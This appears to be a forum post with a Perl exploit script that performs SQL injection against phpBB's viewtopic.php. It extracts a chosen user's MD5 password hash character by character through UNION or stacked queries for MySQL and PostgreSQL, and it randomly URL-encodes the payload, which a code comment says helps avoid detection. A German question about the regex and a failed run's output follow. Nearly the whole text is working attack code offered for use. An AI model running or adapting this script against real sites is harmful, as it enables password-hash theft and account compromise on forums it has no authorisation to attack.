SELECT * FROM users WHERE clue > 0
0 rows returned

#!/usr/bin/perl -w

use IO::Socket;

$remote = shift || 'www.****.de';
$view_topic = shift ||  '/forum/viewtopic.php';
$uid = shift || 1;
$port = 80;

$dbtype = 'mysql4';     # mysql4 or pgsql


print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
        $socket = IO::Socket::INET->new(PeerAddr => $remote,
                                PeerPort => $port,
                                Proto => "tcp",
                                Type => SOCK_STREAM)
        or die "Couldnt connect to $remote:$port : $@\n";
        $str = "GET $view_topic" . "?sid=1&topic_id=-1" .  random_encode(make_dbsql()) .  "&view=newest" . " 

HTTP/1.0\n\n";

        print $socket $str;
        print $socket "Cookie: phpBB2mysql_sid=1\n";    # replace this for pgsql or remove it
        print $socket "Host: $remote\n\n";

        while ($answer = <$socket>)
        {
                if ($answer =~ /Location:.*\x23(\d+)/)  # Matches the Location: viewtopic.php?p=<num>#<num>           Diese Stelle check ich net... was muss ich da wie einsetzen? 
                {
                        $p .= chr ($1);
                }
        }

        close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";

# random encode str. helps avoid detection
sub random_encode
{
        $str = shift;
        $ret = "";
        for($i=0; $i<length($str); $i++)
        {
                $c = substr($str,$i,1);
                $j = rand length($str) * 1000;

                if (int($j) % 2 || $c eq ' ')
                {
                        $ret .= "%" . sprintf("%x",ord($c));
                }
                else
                {
                        $ret .= $c;
                }
        }
        return $ret;
}

sub make_dbsql
{
        if ($dbtype eq 'mysql4')
        {
                return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where 

user_id=$uid/*" ;
        } elsif ($dbtype eq 'pgsql')
        {
                return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, 

phpbb_users u where u.user_id=$uid or false";
        }
        else
        {
                return "";
        }
}

Trying to get password hash for uid 1 server www.*****.de dbtype: mysql4

MD5 Hash for uid 1 is